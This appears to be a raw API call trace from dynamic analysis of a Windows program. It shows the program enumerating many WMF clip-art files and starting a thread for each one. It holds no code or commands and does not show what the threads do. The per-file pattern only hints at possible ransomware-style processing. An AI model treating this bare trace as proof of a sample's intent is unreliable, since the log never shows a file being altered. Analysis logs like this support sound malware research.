	[0260.786] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21d8
	[0260.789] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.789] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01848_.WMF", cAlternateFileName="")) returned 1
	[0260.789] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.790] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21dc
	[0260.792] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.792] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01849_.WMF", cAlternateFileName="")) returned 1
	[0260.792] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21e0
	[0260.794] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.795] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04ab00, ftCreationTime.dwHighDateTime=0x1bd4bfd, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04ab00, ftLastWriteTime.dwHighDateTime=0x1bd4bfd, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01852_.WMF", cAlternateFileName="")) returned 1
	[0260.795] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.796] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21e4
	[0260.798] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.799] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01858_.WMF", cAlternateFileName="")) returned 1
	[0260.799] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc9ad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21e8
	[0260.801] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.801] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa55a300, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa55a300, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0xdb8, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01866_.WMF", cAlternateFileName="")) returned 1
	[0260.802] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc9e470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21ec
	[0260.804] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.805] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02009_.WMF", cAlternateFileName="")) returned 1
	[0260.805] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fca1b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21f0
	[0261.067] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.069] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x620ded00, ftCreationTime.dwHighDateTime=0x1bd4c01, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x620ded00, ftLastWriteTime.dwHighDateTime=0x1bd4c01, nFileSizeHigh=0x0, nFileSizeLow=0x918, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02041_.WMF", cAlternateFileName="")) returned 1
	[0261.069] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.069] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21f4
	[0261.071] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.071] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb82d6100, ftCreationTime.dwHighDateTime=0x1bd4bfe, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb82d6100, ftLastWriteTime.dwHighDateTime=0x1bd4bfe, nFileSizeHigh=0x0, nFileSizeLow=0x43c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02066_.WMF", cAlternateFileName="")) returned 1
	[0261.071] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21f8
	[0261.074] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.075] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3552d900, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3552d900, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x474, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02091_.WMF", cAlternateFileName="")) returned 1
	[0261.075] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21fc
	[0261.077] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.078] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38e66000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38e66000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02092_.WMF", cAlternateFileName="")) returned 1
	[0261.078] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.079] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fca5230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2200
	[0261.080] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.081] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308e2500, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x308e2500, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02093_.WMF", cAlternateFileName="")) returned 1
	[0261.081] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.082] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fca8910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2204
	[0261.084] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.085] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29651800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29651800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x1fe8, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02124_.WMF", cAlternateFileName="")) returned 1
	[0261.085] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.086] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcabff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2208
	[0261.087] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.088] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50f8b800, ftCreationTime.dwHighDateTime=0x1bd4bd0, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50f8b800, ftLastWriteTime.dwHighDateTime=0x1bd4bd0, nFileSizeHigh=0x0, nFileSizeLow=0x4816, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02125_.WMF", cAlternateFileName="")) returned 1
	[0261.088] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcaf6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x220c
	[0261.090] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.091] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x819c1a00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x819c1a00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x7c50, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02126_.WMF", cAlternateFileName="")) returned 1
	[0261.091] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.092] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcb2db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2210
	[0261.094] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.094] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9355900, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9355900, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xfe4, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02127_.WMF", cAlternateFileName="")) returned 1
	[0261.095] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcb6490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2214
	[0261.099] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.100] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02262_.WMF", cAlternateFileName="")) returned 1
	[0261.100] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcb9b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2218
	[0261.364] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.365] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02264_.WMF", cAlternateFileName="")) returned 1
	[0261.365] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.366] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x221c
	[0261.367] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.368] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02356_.WMF", cAlternateFileName="")) returned 1
	[0261.368] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.368] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2220
	[0261.370] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.370] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17c4, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02361_.WMF", cAlternateFileName="")) returned 1
	[0261.370] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.371] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2224
	[0261.373] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.373] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd28, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02368_.WMF", cAlternateFileName="")) returned 1
	[0261.373] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.374] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2228
	[0261.376] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.376] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02371_.WMF", cAlternateFileName="")) returned 1
	[0261.377] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.377] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x222c
	[0261.379] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.380] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcec, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02373_.WMF", cAlternateFileName="")) returned 1
	[0261.380] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.380] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2230
	[0261.382] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.382] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbd8, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02384_.WMF", cAlternateFileName="")) returned 1
	[0261.383] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.383] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2234
	[0261.385] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.385] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02386_.WMF", cAlternateFileName="")) returned 1
	[0261.385] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2238
	[0261.387] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.388] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc84, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02388_.WMF", cAlternateFileName="")) returned 1
	[0262.215] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x223c
	[0262.217] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.218] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02389_.WMF", cAlternateFileName="")) returned 1
	[0262.218] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2240
	[0262.221] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.222] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe64, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02390_.WMF", cAlternateFileName="")) returned 1
